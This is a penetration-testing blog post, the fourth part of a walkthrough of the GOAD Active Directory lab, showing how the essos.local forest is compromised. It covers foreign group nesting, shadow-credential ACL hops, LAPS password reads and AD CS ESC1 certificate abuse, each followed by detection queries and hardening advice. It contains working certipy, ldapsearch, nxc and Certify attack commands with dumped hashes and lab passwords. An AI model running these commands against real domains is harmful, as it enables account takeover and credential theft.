---
title: "GOAD Part 4: Owning essos.local Across the Forest Trust"
description: "The forest trust into essos.local enforces SID filtering, so a forged ExtraSids ticket will not carry Domain Admin across the boundary. What does cross is foreign group nesting, a three-hop ACL chain, LAPS, and an AD CS CA full of ESC templates."
date: 2026-11-04
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/owning-essos-forest-trust/
---

## Why the forest trust is not a free Domain Admin

At the end of [Part 3](/posts/sevenkingdoms-acl-chain/) we owned the forest root `sevenkingdoms.local` and dumped its `krbtgt`. The natural next question in a multi-forest lab is: *can I just forge my way into `essos.local`?* The answer is no, and the reason is worth understanding before running a single tool.

Active Directory draws a hard line between two kinds of trust. A **parent–child trust** lives *inside* one forest, where every domain already shares a single `Schema` and `Configuration` partition. A **forest trust** joins two completely independent forests. Reading the `trustAttributes` on both sides makes the difference visible:

```bash
$ ldapsearch -x -H ldap://192.168.56.10 -D "tywin.lannister@sevenkingdoms.local" -w "powerkingftw135" \
    -b "CN=System,DC=sevenkingdoms,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: north.sevenkingdoms.local
flatName: NORTH
trustAttributes: 32            # WITHIN_FOREST — SID filtering OFF
cn: essos.local
flatName: ESSOS
trustAttributes: 72            # TREAT_AS_EXTERNAL | FOREST_TRANSITIVE — SID filtering ON

$ ldapsearch -x -H ldap://192.168.56.12 -D "missandei@essos.local" -w "fr3edom" \
    -b "CN=System,DC=essos,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: sevenkingdoms.local
flatName: SEVENKINGDOMS
trustAttributes: 8             # FOREST_TRANSITIVE — SID filtering ON
```

`trustAttributes` is the bitmask from `[MS-ADTS] §6.1.6.7.9` that I mapped out in [Multi-Forest Active Directory Architecture](/posts/multi-forest-active-directory-architecture/). The key value is `32` (`0x20 = WITHIN_FOREST`) versus `8`/`72` (`FOREST_TRANSITIVE`, optionally with `TREAT_AS_EXTERNAL`):

- **`WITHIN_FOREST (32)`** means *parent–child, SID filtering off*. That is why a Golden Ticket forged in `north` could carry the parent's `Enterprise Admins` SID in its `ExtraSids` and walk into `sevenkingdoms.local`. It is the intra-forest escalation trick — it does **not** apply between forests.
- **`FOREST_TRANSITIVE (8/72)`** turns on **SID filtering** (Quarantine). When a ticket crosses the forest trust into `essos.local`, the `essos` KDC strips every SID in the `ExtraSids` / PAC field that is not the caller's own SID or a legitimate member of the trusting forest. A `krbtgt`-forged ticket from `sevenkingdoms.local` carrying `S-1-5-21-...-519` (`Enterprise Admins`) simply arrives in `essos.local` with that SID removed.

<figure class="evidence evidence--compact"><a href="/images/posts/goad-evidence/bloodhound-goad-attack-graph.webp" target="_blank" rel="noopener" aria-label="Open the BloodHound cross-forest attack graph"><img src="/images/posts/goad-evidence/bloodhound-goad-attack-graph.webp" alt="BloodHound visual graph detailing the cross-forest trust relationship, Foreign Security Principal mapping into Spys group, and the escalation path to BRAAVOS and MEEREEN" loading="lazy" /></a><figcaption><span>BloodHound attack graph</span> Visual mapping of the cross-forest bridge. While SID filtering invalidates forged tickets, the ForeignSecurityPrincipal membership of <code>Small Council</code> inside <code>Spys</code> provides an authenticated authorization conduit across forests.</figcaption></figure>

### Protocol and mathematical wire mechanics: Bitmask decomposition of trustAttributes: 72

The numerical values in `trustAttributes` are defined in `[MS-ADTS] §6.1.6.7.9` (Trusted Domain Object):

| Flag Constant | Hex Value | Decimal Value | Meaning & Wire Behavior |
| :--- | :--- | :--- | :--- |
| `TRUST_ATTRIBUTE_NON_TRANSITIVE` | `0x00000001` | 1 | Trust does not transit beyond the partner domain. |
| `TRUST_ATTRIBUTE_UPLEVEL_ONLY` | `0x00000002` | 2 | Domain supports Windows 2000 and newer Kerberos extensions. |
| `TRUST_ATTRIBUTE_QUARANTINED_DOMAIN` | `0x00000004` | 4 | SID Filtering explicitly enabled on an external trust. |
| `TRUST_ATTRIBUTE_FOREST_TRANSITIVE` | `0x00000008` | 8 | Cross-forest trust; SID Filtering is enforced by default. |
| `TRUST_ATTRIBUTE_WITHIN_FOREST` | `0x00000020` | 32 | Intra-forest tree/child trust; SID Filtering is disabled. |
| `TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL` | `0x00000040` | 64 | Trust treated as external boundary for delegation and PAC rules. |

The mathematical bitwise OR equation for `sevenkingdoms.local → essos.local` is:

$$\text{trustAttributes} = \text{FOREST\_TRANSITIVE} \mid \text{TREAT\_AS\_EXTERNAL} = 8 \mid 64 = 72 \quad (0\text{x}08 \mid 0\text{x}40 = 0\text{x}48)$$

When a Kerberos cross-realm ticket crosses into `essos.local`, the KDC executes `KrbFilterSids()` (`[MS-PAC] §4.1.2.2`). Under `FOREST_TRANSITIVE (8/72)`, any foreign SID in the ticket's `ExtraSids` field whose RID is under 1000 (such as `512` Domain Admins or `519` Enterprise Admins) or whose domain SID does not match the trusted forest is discarded from the Authorization Data. Conversely, under `WITHIN_FOREST (32)`, `KrbFilterSids()` is bypassed for member domains of the same forest, allowing child-to-parent ticket elevation.

In PowerShell on Windows, the trust configuration can be verified using:

```powershell
Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes
```

**Detection:** `trustAttributes` is readable by any authenticated user via `ldapsearch` (as above) or `nxc ldap <dc> -u <user> -p <pass> --trusted-for-delegation`. There is nothing to alert on here — this is static directory metadata.

**Control:** SID filtering is *on by default* for external and forest trusts and should stay that way. The misconfiguration to hunt is a forest trust that has had SID filtering explicitly disabled (`netdom trust ... /quarantine:no`), or an external trust mistakenly created as a forest trust. Treat the trust itself as a firewall rule: `NETLOGON`/RPC (`135/445`) reachability between forests is the real attack surface.

## What actually crosses: foreign group nesting

SID filtering stops a forged *ticket*, but it does not stop a *legitimate* cross-forest permission. When I enumerated `essos.local`'s groups as `missandei`, one entry stood out: the `Spys` group has a member that is not an `essos` account at all, but a **foreign security principal**:

```bash
$ ldapsearch -x -H ldap://192.168.56.12 -D "missandei@essos.local" -w "fr3edom" \
    -b "DC=essos,DC=local" "(&(objectClass=group)(sAMAccountName=Spys))" member
member: CN=S-1-5-21-3291916993-3717649449-3745629854-1108,CN=ForeignSecurityPrincipals,DC=essos,DC=local
```

That SID belongs to `sevenkingdoms.local`. The RID `-1108` is the **`Small Council`** group — the very group we added `tyron.lannister` to in [Part 3](/posts/sevenkingdoms-acl-chain/). So the two forests are wired together not just by a trust, but by a **cross-forest group nesting**: `Small Council (sevenkingdoms)` is a member of `Spys (essos)`, stored as a `ForeignSecurityPrincipal` object under `CN=ForeignSecurityPrincipals`.

The consequence is concrete. `Spys` holds `GenericAll` over `jorah.mormont`:

```bash
$ impacket-dacledit -action read -target jorah.mormont "essos.local/missandei:fr3edom" -dc-ip 192.168.56.12
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Spys (S-1-5-21-2405585222-1741672622-953379088-1112)
```

This is the actual answer to "how do you cross a forest trust." You do not forge a privileged SID into a ticket — SID filtering defeats that. You use a *legitimate* cross-forest group membership so that a principal in your forest holds a real ACE in the target forest. When `tyron.lannister` (a `sevenkingdoms` user in `Small Council`) authenticates to `essos.local`, his own SID travels with him, and the `essos` DC evaluates it against `Spys`'s outbound rights. Nothing about that is filtered, because it is not an injected `ExtraSids` value — it is his actual SID.

### BloodHound Cypher: Mapping cross-forest group nestings

To discover all ForeignSecurityPrincipal links across trust boundaries in BloodHound:

```cypher
MATCH (g1:Group)-[:MemberOf]->(g2:Group)
WHERE g1.domain <> g2.domain
RETURN g1.name AS ForeignGroup, g1.domain AS SourceDomain, g2.name AS LocalGroup, g2.domain AS TargetDomain
```

**Detection:** Cross-forest group memberships land in `CN=ForeignSecurityPrincipals,DC=<domain>,DC=<tld>`. Enumerate them with `ldapsearch ... "(objectClass=foreignSecurityPrincipal)"` and cross-reference every FSP back to the trusting domain to see whether it is a low-privileged group (`Small Council`) that has been handed local rights. Watch for `5136`/`4732` on any `essos` group gaining a foreign member.

**Control:** Treat `ForeignSecurityPrincipals` as Tier-0 configuration. Only nest *dedicated* cross-forest admin groups, never broad user groups, and audit every ACE granted to a foreign principal. SID filtering protects you from ticket forgery, but nothing protects you from an administrator who nested the wrong group.

### Essos domain baseline and defensive posture

The official GOAD documentation allocates two Windows Server 2016 machines to the `essos.local` forest:

| Host | IP | Role | OS | Windows Defender | Primary Surface & Vectors |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `DC03` (meereen) | `192.168.56.12` | Forest Root DC, KDC, DNS, Enterprise CA | Windows Server 2016 | **Enabled** | Cross-forest trust endpoint, AS-REP roasting (`missandei`), AD CS ESC1-ESC8 |
| `SRV03` (braavos) | `192.168.56.23` | Member Server, MSSQL, LAPS, gMSA | Windows Server 2016 | **Enabled** | LAPS (`ms-Mcs-AdmPwd`), MSSQL linked server target from `CASTELBLACK` |

> [!NOTE]
> In GOAD's design, both `DC03` and `SRV03` run with Windows Defender **Enabled**. Reading LAPS attributes over LDAP, requesting Kerberos cross-realm service tickets, and querying AD CS certificate templates execute entirely via sanctioned administrative protocols, generating zero antivirus signatures. Detection depends on Event Log telemetry and directory auditing.

## From the missandei foothold to LAPS on BRAAVOS

Cross-forest nesting is the story; the reliable path to compromise still runs *inside* `essos.local`, starting from the `missandei : fr3edom` account we cracked with AS-REP Roasting back in [Part 1](/posts/opening-an-active-directory-assessment/). BloodHound's ACL collection draws the chain:

```bash
MISSANDEI@ESSOS.LOCAL       --[GenericAll  ]-->  KHAL.DROGO@ESSOS.LOCAL
KHAL.DROGO@ESSOS.LOCAL      --[GenericAll  ]-->  VISERYS.TARGARYEN@ESSOS.LOCAL
VISERYS.TARGARYEN@ESSOS.LOCAL --[GenericWrite]-->  JORAH.MORMONT@ESSOS.LOCAL
JORAH.MORMONT@ESSOS.LOCAL   --[ReadLAPSPassword]--> BRAAVOS.ESSOS.LOCAL
```

<figure class="diagram">
<svg viewBox="0 0 760 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Two rows. Top row: the cross-forest trust from sevenkingdoms.local to essos.local with SID filtering on, carrying the Small Council to Spys foreign group nesting. Bottom row: a left-to-right chain from missandei through khal.drogo, viserys and jorah to BRAAVOS, using GenericAll and GenericWrite shadow credentials and then the ReadLAPSPassword right.">
<defs><marker id="e4-c" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">CROSS-FOREST TRUST · THE ESSOS.LOCAL PATH TO BRAAVOS</text>
<rect x="16" y="40" width="200" height="54" rx="8" class="dg-box-accent" />
<text x="30" y="62" class="dg-label">sevenkingdoms.local</text>
<text x="30" y="81" class="dg-mono dg-compact">owned in Part 3</text>
<line x1="216" y1="67" x2="540" y2="67" class="dg-line-crit" marker-end="url(#e4-c)" />
<text x="378" y="59" text-anchor="middle" class="dg-crit dg-compact">forest trust · SID FILTER ON</text>
<text x="378" y="89" text-anchor="middle" class="dg-muted dg-compact">Small Council → Spys (FSP)</text>
<rect x="544" y="40" width="200" height="54" rx="8" class="dg-box" />
<text x="558" y="62" class="dg-label">essos.local</text>
<text x="558" y="81" class="dg-mono dg-compact">Spys ← Small Council</text>
<rect x="16" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="30" y="152" class="dg-label">missandei</text>
<text x="30" y="170" class="dg-mono dg-compact">GenericAll →</text>
<text x="30" y="184" class="dg-muted dg-compact">AS-REP (Part 1)</text>
<line x1="146" y1="163" x2="168" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="168" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="182" y="152" class="dg-label">khal.drogo</text>
<text x="182" y="170" class="dg-mono dg-compact">GenericAll →</text>
<text x="182" y="184" class="dg-muted dg-compact">shadow creds</text>
<line x1="298" y1="163" x2="320" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="320" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="334" y="152" class="dg-label">viserys</text>
<text x="334" y="170" class="dg-mono dg-compact">GenericWrite →</text>
<text x="334" y="184" class="dg-muted dg-compact">shadow creds</text>
<line x1="450" y1="163" x2="472" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="472" y="130" width="130" height="66" rx="8" class="dg-box" />
<text x="486" y="152" class="dg-label">jorah</text>
<text x="486" y="170" class="dg-mono dg-compact">ReadLAPS →</text>
<text x="486" y="184" class="dg-muted dg-compact">ms-Mcs-AdmPwd</text>
<line x1="602" y1="163" x2="624" y2="163" class="dg-line-crit" marker-end="url(#e4-c)" />
<rect x="624" y="130" width="120" height="66" rx="8" class="dg-box-danger" />
<text x="638" y="152" class="dg-label">BRAAVOS</text>
<text x="638" y="170" class="dg-crit">local admin</text>
<text x="638" y="184" class="dg-danger">ESSOS-CA</text>
<text x="16" y="228" class="dg-muted">shadow credentials → NT hash → LAPS → local admin on BRAAVOS</text>
</svg>
<figcaption>The <code>essos.local</code> path: a foreign-group nesting (<code>Small Council</code> → <code>Spys</code>) crosses the trust legally, while the reliable escalation chain runs inside the forest — <code>missandei</code> through three <code>GenericAll</code>/<code>GenericWrite</code> hops to <code>jorah.mormont</code>, whose <code>ReadLAPSPassword</code> right unlocks the <code>BRAAVOS</code> local administrator.</figcaption>
</figure>

Each hop is the same primitive we used in Part 3, but note how *little* you need to change per edge. `missandei` has `GenericAll` over `khal.drogo`; `certipy shadow auto` writes a key credential, authenticates over PKINIT, and hands back the NT hash, then restores the account:

```bash
$ certipy-ad shadow auto -u missandei@essos.local -p fr3edom -account khal.drogo -dc-ip 192.168.56.12
[*] Successfully added Key Credential ... to the Key Credentials for 'khal.drogo'
[*] Got TGT
[*] Successfully restored the old Key Credentials for 'khal.drogo'
[*] NT hash for 'khal.drogo': 739120ebc4dd940310bc4bb5c9d37021
```

Two more identical hops — `khal.drogo → viserys.targaryen` (`GenericAll`) and `viserys.targaryen → jorah.mormont` (`GenericWrite`) — and we hold `jorah.mormont`'s hash without ever learning a password:

```bash
[*] NT hash for 'viserys.targaryen': d96a55df6bef5e0b4d6d956088036097
[*] NT hash for 'jorah.mormont':    4d737ec9ecf0b9955a161773cfed9611
```

The payoff for `jorah.mormont` is not another user — it is **LAPS**. His `ReadProperty` on `ms-Mcs-AdmPwd` (GUID `dfe058bd-b18e-4c1b-8ce8-ce4b7933781e`) over the `BRAAVOS$` computer object lets him pull the managed local-administrator password straight out of LDAP:

```bash
$ ldapsearch -x -H ldap://192.168.56.12 -D "jorah.mormont@essos.local" -w "H0nnor!" \
    -b "DC=essos,DC=local" "(ms-Mcs-AdmPwd=*)" sAMAccountName ms-Mcs-AdmPwd
sAMAccountName: BRAAVOS$
ms-Mcs-AdmPwd: E(D8oS]3zX79Px

$ nxc smb 192.168.56.23 -u Administrator -p "E(D8oS]3zX79Px" --local-auth
SMB  192.168.56.23  445  BRAAVOS  [+] BRAAVOS\Administrator:E(D8oS]3zX79Px (Pwn3d!)
```

### BloodHound Cypher: Hunting LAPS password readers

To identify all principals with permission to read plaintext LAPS administrator passwords across computers in `essos.local`:

```cypher
MATCH (u:User)-[r:ReadLAPSPassword]->(c:Computer)
RETURN u.name AS Reader, c.name AS TargetComputer
```

### Windows & PowerShell tool equivalents (LAPS attribute retrieval)

On Windows endpoints with domain access, the LAPS password can be read using the ActiveDirectory module or the AdmPwd PowerShell module:

```powershell
# ActiveDirectory PowerShell module
Get-ADComputer braavos -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

# AdmPwd.PS PowerShell module
Get-AdmPwdPassword -ComputerName braavos
```

`BRAAVOS` (`192.168.56.23`) is the member server that also hosts `ESSOS-CA`. Local admin there is a Tier-0 foothold in the second forest.

**Detection:** The shadow-credential hops are the same as Part 3 — Event ID `5136` on `msDS-KeyCredentialLink` for each account. The LAPS read is quieter: it is an LDAP read of a confidential attribute, logged (if at all) as Event ID `4662` on the DC. The sharpest signal is a single low-privileged account (`jorah.mormont`) suddenly reading `ms-Mcs-AdmPwd` on a machine it has no operational reason to touch.

**Control:** Prune `GenericAll`/`GenericWrite` ACEs between ordinary users (`missandei → khal.drogo`, `khal.drogo → viserys`, `viserys → jorah`) exactly as in Part 3. For LAPS, audit *every* account granted `ReadLAPSPassword` (`ms-Mcs-AdmPwd`) and keep the list to the helpdesk tooling that genuinely needs it; `jorah.mormont` has no business reading `BRAAVOS`'s LAPS password. Optionally move to **Windows LAPS** with encryption tied to the target machine's TPM/DPAPI rather than plaintext `ms-Mcs-AdmPwd`.

## The AD CS layer: ESSOS-CA and its ESC templates

`essos.local` runs its own Enterprise CA, `ESSOS-CA`, hosted on `BRAAVOS` (`.23`) — not on the Domain Controller, which is a common-but-dangerous placement. `certipy find` as `missandei` enumerates the vulnerable surface in one shot:

```bash
$ certipy-ad find -u missandei@essos.local -p fr3edom -dc-ip 192.168.56.12 -vulnerable -stdout
Certificate Authorities
  0
    CA Name           : ESSOS-CA
    DNS Name          : braavos.essos.local
    User Specified SAN: Enabled        # ESC6
    [!] ESC8          : Web Enrollment is enabled over HTTP.
    [!] ESC11         : Encryption is not enforced for ICPR (RPC) requests.

Certificate Templates
  Template Name: ESC1    -> ESC1: Enrollee supplies subject + client authentication
  Template Name: ESC2    -> ESC2: any-purpose EKU
  Template Name: ESC3-CRA -> ESC3: Certificate Request Agent EKU
  Template Name: ESC9    -> ESC9: no security extension
  Template Name: WebServer -> ESC15 (schema v1) / ESC17 (server auth)
```

The headline is **ESC1**: the `ESC1` template is enrolled by `Domain Users`, allows the enrollee to supply the subject, and permits client authentication. That means `missandei` (a plain domain user) can request a certificate with `UPN=daenerys.targaryen@essos.local`, present it over PKINIT, and receive `daenerys.targaryen`'s TGT — and `daenerys.targaryen` is a direct member of **Domain Admins**:

```bash
$ certipy-ad req -u missandei@essos.local -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn daenerys.targaryen@essos.local -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered
```

In this lab instance the `ESSOS-CA` enrollment endpoints are not serving — the `ICertRequest` RPC interface (`91AE6020-9E3C-11CF-8D7C-00AA00C091BE`) returns `ept_s_not_registered`, and the `/certsrv/` web enrollment answers on `80/tcp` but not with a working CEP/CES endpoint. The *configuration* is vulnerable (the templates and the `User Specified SAN` flag are real and enumerated), but the *service* side is down. I left the failed request in on purpose: it is exactly the kind of thing that differs between the GOAD docs and a specific running instance, and it is a good habit to verify a CA is actually reachable before writing "ESC1 gives us Domain Admin."

When the CA is live, the completion is the standard certificate-to-domain-admin dance: `certipy req -upn daenerys.targaryen@essos.local` → `certipy auth -pfx daenerys.pfx` → a `daenerys.targaryen` TGT → `secretsdump` DCSync against `meereen.essos.local`. Since `daenerys.targaryen` sits in `Domain Admins`, that single certificate equals the second forest.

### BloodHound Cypher: Locating vulnerable ESC1 certificate templates

To query for certificate templates that allow low-privileged enrollment with enrollee-supplied subject alternative names and client authentication:

```cypher
MATCH (u:User)-[:Enroll]->(t:CertificateTemplate)
WHERE t.enrolleesuppliessubject = true AND t.authenticationenabled = true
RETURN u.name AS Principal, t.name AS TemplateName
```

### Windows & C# tool equivalents (Certify)

From a Windows system, Certify executes the ESC1 certificate request and impersonation workflow:

```powershell
# Requesting certificate impersonating daenerys.targaryen via Certify
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:daenerys.targaryen
```

**Detection:** `certipy find` itself triggers a burst of LDAP reads and an RPC connection to the CA registry (`RRP`) — log that as an anomaly from a non-admin workstation. The ESC1 abuse itself is Event ID `4886`/`4887` (certificate requested/issued) on the CA, and PKINIT shows as `4768` with pre-auth type `16`.

**Control:** AD CS is the highest-leverage hardening target in this lab. Remove `EnrolleeSuppliesSubject` from any template enrollable by `Domain Users` (or require manager approval), disable `User Specified SAN` on the CA, disable HTTP web enrollment (`ESC8`), and enforce encryption on ICPR requests (`ESC11`). Above all, treat the Enterprise CA server (`BRAAVOS`) as **Tier 0** regardless of which machine it runs on.

## The Domain Admin short-circuit: a nested dragon

There is one more structural finding worth recording, because it is a reminder that DA does not only come from ACL chains. The `Domain Admins` group in `essos.local` contains `QueenProtector`, which contains `Dragons`, which contains `drogon`:

```bash
Domain Admins  ->  QueenProtector  ->  Dragons  ->  drogon
```

That means the ordinary user `drogon` is *effectively* a Domain Admin through three levels of nested group membership — no ACL abuse required. Anyone who controls `drogon` (for example by reading the `gmsaDragon$` managed password and using its outbound rights, or simply because `drogon`'s password is weak and crackable) walks into `Domain Admins` through the front door. Nested groups are where "I don't have a privileged account" turns out to be wrong.

**Detection / Control:** Enumerate effective group membership, not just direct memberships — `BloodHound`'s `AdminTo`/`MemberOf` queries and `nxc ldap --get-network` are the tools. Flatten privileged groups so `Domain Admins` never contains a chain of user groups, and set a floor on password quality for accounts that sit anywhere in the nesting.

## Cross-forest and intra-domain telemetry reference

Securing cross-forest boundaries requires monitoring trust hops, directory attribute reads, and certificate requests:

| Attack Vector | Windows Event ID | Event Description | Telemetry Details & Indicators |
| :--- | :--- | :--- | :--- |
| Cross-Realm TGS Request | `4769` | Kerberos Service Ticket Request | `ServiceName: krbtgt/essos.local`, Ticket Options for inter-realm referral |
| FSP Group Modification | `4728` / `4732` | Member Added to Security Group | Member added with Foreign Security Principal SID `CN=S-1-5-21-...` |
| Shadow Credentials Key Write | `5136` | Directory Service Object Modified | Attribute `msDS-KeyCredentialLink` written on `khal.drogo` / `viserys` |
| LAPS Password Retrieval | `4662` | Operation Performed on Object | Access mask `0x10` (Read Property) targeting attribute `ms-Mcs-AdmPwd` |
| AD CS Certificate Issuance | `4887` | Certificate Services Approved & Issued | `Template: ESC1/ESC2`, Requester and Subject mismatch (impersonating `daenerys`) |
| Network Administrative Logon | `4624` | Successful Network Logon | `LogonType: 3`, Target `BRAAVOS$` / `MEEREEN$`, Account `daenerys.targaryen` |

### SIEM and SOC detection rules

Detecting cross-forest pivots, LAPS reads, and certificate impersonation demands precise event queries:

#### 1. Splunk: LAPS Attribute Read (Event ID 4662)

Detects LDAP directory read operations targeting the confidential plaintext LAPS password property (`ms-Mcs-AdmPwd` GUID `{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}`):

```splunk
index=wineventlog EventCode=4662 ObjectType="computer"
| search AccessMask="0x10" AND Properties="*{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}*"
| table _time, SubjectUserName, ComputerName, ObjectName, Properties
```

#### 2. Splunk: AD CS Certificate Request with SAN Impersonation (Event ID 4887)

Flags certificates issued by `ESSOS-CA` where the requester's account differs from the Subject Alternative Name (SAN) identity embedded in the certificate:

```splunk
index=wineventlog EventCode=4887
| search CertificateTemplate IN ("ESC1", "ESC2")
| eval requester=coalesce(Requester, SubjectUserName)
| where requester != UPN AND isnotnull(UPN)
| table _time, ComputerName, requester, UPN, CertificateTemplate
```

#### 3. Sigma rule snippet: Unauthorized LAPS password retrieval

```yaml
title: Unauthorized LAPS Password Attribute Retrieval
status: experimental
description: Detects LDAP read access to the plaintext ms-Mcs-AdmPwd attribute
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'computer'
    AccessMask: '0x10'
    Properties|contains: '{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}'
  condition: selection
falsepositives:
  - Authorized central helpdesk management software
level: high
```

## Summary of findings

| Finding | Path | Impact | Verify (from Kali) | Control |
| --- | --- | --- | --- | --- |
| Forest trust SID filtering ON | `sevenkingdoms` ↔ `essos` | Forged `ExtraSids`/SID-history ticket cannot reach DA | `ldapsearch ...` (`trustedDomain` `trustAttributes`) | Keep Quarantine enabled; audit trust type |
| Foreign group nesting | `Small Council` (sevenkingdoms) → `Spys` (essos) | A sevenkingdoms principal holds `GenericAll` over `jorah.mormont` | `ldapsearch ...` (`foreignSecurityPrincipal`) | Only nest dedicated cross-forest admin groups |
| Intra-forest ACL chain | `missandei → khal.drogo → viserys → jorah` | Shadow credentials → three NT hashes, no passwords | `certipy-ad shadow auto -account <u>` each hop | Remove `GenericAll`/`GenericWrite` between users |
| `ReadLAPSPassword` on `BRAAVOS$` | `jorah.mormont` | Local admin on `BRAAVOS` (`E(D8oS]3zX79Px`) | `ldapsearch ... "(ms-Mcs-AdmPwd=*)"` | Audit `ms-Mcs-AdmPwd` readers; Windows LAPS |
| `ESSOS-CA` ESC templates | `ESSOS-CA` on `BRAAVOS` | ESC1/2/3/4/6/8/9/11 → `daenerys` (DA) via PKINIT | `certipy-ad find ... -vulnerable` | Remove `EnrolleeSuppliesSubject`; disable HTTP enrollment |
| Nested `Domain Admins` | `drogon ∈ Dragons ∈ QueenProtector ∈ DA` | Effective DA via nested groups | BloodHound `AdminTo` / `MemberOf` | Flatten privileged group nesting |

## Closing the series

This is the last part of the four-post walkthrough, and the shape of it is the lesson: **three domains, two forests, and every "exploit" was a normal Windows feature crossing a boundary someone forgot about.** Part 1 turned unauthenticated enumeration and AS-REP Roasting into a foothold. Part 2 Kerberoasted a service account and rode constrained delegation to the NORTH DC. Part 3 walked an eight-hop ACL chain to the forest root. And here, the forest trust's SID filtering forced us to stop forging tickets and start *being* the right principal — through a foreign group membership, a three-hop ACL chain, and LAPS — before AD CS offered the one-liner finish.

The techniques introduced here are explored through dedicated companion write-ups on this site:
- **Cross-Forest Database Movement:** [Cross-Forest Pivoting via SQL Server Linked Servers](/posts/mssql-linked-servers/) (bypassing Kerberos trust boundaries via `CASTELBLACK ↔ BRAAVOS` `sa` mappings).
- **Certificate Services Exploitation:** [AD CS ESC Taxonomy: The Attack Surface from ESC1 to ESC15](/posts/ad-cs-esc-taxonomy/) and [AD CS ESC1: From Low-Privilege Domain User to Domain Admin](/posts/ad-cs-esc1-domain-admin/).
- **Template Hijacking:** [AD CS ESC4 & ESC6: Template Hijacking and SAN Flag Abuse](/posts/ad-cs-esc4-esc6/).
- **Defensive Engineering:** [Hardening AD CS: Enforcing Kerberos PKINIT and Eliminating Coerced NTLM](/posts/ad-cs-rest-hardening/).

## Evidence and limits

The cross-forest trust checks, ACL hops (`missandei → khal.drogo → viserys.targaryen`), LAPS password read on `BRAAVOS`, and `ESSOS-CA` template enumeration were executed inside the isolated GOAD lab across `sevenkingdoms.local` and `essos.local`. All credentials and SIDs belong to the GOAD fixture set, and the environment remained confined to the host-only lab network.

## References

- **Orange Cyberdefense, GOAD (Game of Active Directory):** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **S1ckB0y1337, Active Directory Exploitation Cheat Sheet:** [github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
- **HackTricks, Active Directory Methodology:** [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
- **The Hacker Recipes, Trusts:** [thehacker.recipes/ad/movement/trusts](https://www.thehacker.recipes/ad/movement/trusts/)
- **Microsoft Open Specifications, `[MS-ADTS]` §6.1.6.7.9 trustAttributes:** [learn.microsoft.com](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c)
- **SpecterOps, Shadow Credentials:** [posts.specterops.io](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
- **MITRE ATT&CK, Steal or Forge Kerberos Tickets (T1558):** [attack.mitre.org/techniques/T1558](https://attack.mitre.org/techniques/T1558/)
- **MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006](https://attack.mitre.org/techniques/T1003/006/)